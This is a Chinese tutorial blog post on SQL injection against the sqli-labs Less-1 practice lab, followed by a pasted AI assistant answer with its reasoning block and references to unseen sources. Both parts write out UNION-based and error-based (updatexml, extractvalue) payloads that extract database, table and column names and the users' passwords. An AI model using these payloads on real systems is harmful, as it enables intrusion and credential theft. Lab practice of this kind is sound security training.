sql注入之报错注入;这里用到的是sqli-labs/Less-1;也就是第一关,利用报错信息注入;

本文详细介绍了SQL注入的检测与利用方法,包括通过双引号判断字符型注入、ORDER BY检测字段数、联合查询获取数据库信息、利用错误报废能力探测数据等。还展示了如何通过UPDATXML和EXTRACTVALUE函数进行数据查询,以及如何规避分页限制获取数据。

1、这里简单放一个链接,记得连好数据库,配置好phpstudy环境 

sqli-labs.zip - 蓝奏云文件大小:3.5 M|https://wwu.lanzoum.com/iP8Lx09p850dsqli-labssqli-labs.zip - 蓝奏云

2、这里一切ok后

 

 

 3、浅试?id=1;不报错,有这个字段

4、双引号正常,单引号报错,说明单引号闭合成功,存在字符型注入漏洞

 

 

5、 order by 判断出字段数为3;--+将后面内容注释掉;“'”单引号将先前闭合掉;

 ?id=1' order by 3 --+

6、这里注意,插件会转义,所一这次在URL地址栏直接输入

 

 

 7、使用联合查询,查数据库,让前面的id值为假,直接执行后面语句;发现回显在第二和第三位置

8、查询简单信息

version()查询数据库版本
database()查询当前数据库  security
user()查询当前用户名

 

 

9、利用报错查询查至数据;这里php连接数据库(mysql)时,由于使用了mysql_error 函数进行报错,所以可以利用;

10、利用 联合查询第三个字段查询到表名

?id=1111' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) -- +

 11、后台未过滤或者使用了报错函数,这里就可以用来进行注入

extractvalue():利用报错进行注入,'~'不是xml实体,所以会报错

concat(字符串1,字符串2):用于连接两个字符串(可以称为拼接)

?id=1' and extractvalue(1,concat('~',database())) -- + 

 这里使用updatexml(,,)进行报错查询

updatexml('anything',concat('~',(sql语句)),'anything')

?id=1' and updatexml(1,concat('~',database()),1) -- +

 

 12、查询表名

?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security' )),1) -- +

13、查询字段

?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) -- +

14、查询数据 

?id=1' and updatexml(1,concat('~',(select group_concat(id,username,password) from users )),1) -- +

 

 15、limit 分段显示会域group_concat一段显示冲突,这里注意

limit 0,1   -->从0个元素开始截取截取一个;只能查询一个元素

这里查询的是id;

?id=1' and updatexml(1,concat('~',(select id from users limit 1,1)),1) -- +

 

<think>我们正在处理一个SQL注入漏洞利用的场景,具体是sqli-labsLess-1,且已经判断为字符型注入点(单引号闭合)。用户意图是获取数据库信息。 根据提供的引用信息,我们可以总结出以下步骤: 1. 判断注入点类型(已经完成,为字符型,使用单引号闭合) 2. 确定字段数(使用order by) 3. 确定回显位置(使用union select) 4. 获取数据库信息(如数据库名、表名、列名、数据) 具体步骤: 步骤1:判断注入点(已完成) 引用[3]中已经说明:id=1' and 1=2 order by 3 %23 (%23是#的URL编码,用于注释掉后面的内容) 步骤2:确定字段数(假设我们已经通过order by确定字段数为3) 使用order by递增直到页面返回正常和错误,从而确定字段数。例如: ?id=1' order by 3 --+ (--+是注释,也可以用%23) 当order by 4时出错,则字段数为3。 步骤3:确定回显位置 因为id=-1'可以使前面的查询不返回数据,从而让union后面的查询结果回显出来。 构造:?id=-1' union select 1,2,3 --+ 查看页面中显示的是哪个位置(比如2和3显示在页面上) 步骤4:获取数据库信息 根据引用[2]和[5],我们可以利用回显位置来获取信息。 例如: 获取当前数据库名:?id=-1' union select 1,database(),3 --+ 获取所有数据库名:?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+ 获取当前数据库的所有表:?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ 或者直接指定数据库名(如'security'):?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ 获取某个表(如users)的所有列:?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+ 获取数据:?id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+ 注意:在注入过程中,我们使用group_concat将多行数据合并成一个字符串,方便在回显位置显示。如果数据量很大,可能需要分次获取(使用limit)。 根据引用[4]还提到了写入文件的方法,但这里用户要求获取数据库信息,所以先不涉及写入。 因此,我们可以将步骤整理如下:</think>### sqli-labs Less-1 字符型注入漏洞利用步骤 **漏洞类型确认**: 已通过 `id=1' and 1=2 --+` 测试确认单引号字符型注入点(需闭合单引号)[^3]。 #### 步骤 1:确定字段数(ORDER BY) ```url http://localhost/sqli-labs/Less-1/?id=1' order by 4 --+ ``` - 若页面正常显示,则增加数字(如 `order by 5`);若报错则回退。 - **结果**:当 `order by 4` 报错时,字段数为 **3**[^3]。 #### 步骤 2:定位回显点(UNION SELECT) ```url http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+ ``` - 页面会显示数字 **2** 和 **3**(即回显位置)[^5]。 #### 步骤 3:获取数据库信息 ##### 3.1 当前数据库名 ```url http://localhost/sqli-labs/Less-1/?id=-1' union select 1,database(),3 --+ ``` - 输出示例:`security`[^2]。 ##### 3.2 获取所有表名 ```url http://localhost/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ ``` - 输出示例:`emails,referers,uagents,users`[^5]。 ##### 3.3 获取目标表(users)的字段名 ```url http://localhost/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+ ``` - 输出示例:`id,username,password`[^2]。 ##### 3.4 提取数据 ```url http://localhost/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+ ``` - 输出示例:`admin,Dumb,...` 和 `password1,123456,...`[^5]。 #### 关键注意事项: 1. **注释符**: - `--+`(URL编码为 `--%20`)或 `%23`(#)用于注释后续语句[^3][^4]。 2. **引号处理**: - 字符串值需用单引号包裹(如 `'security'`),若遇转义需双写引号:`?id=1'))...`[^4]。 3. **信息分割**: - 大量数据时用 `limit 0,1` 分页查询(如 `limit 1,1` 获取第二行)[^2]。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值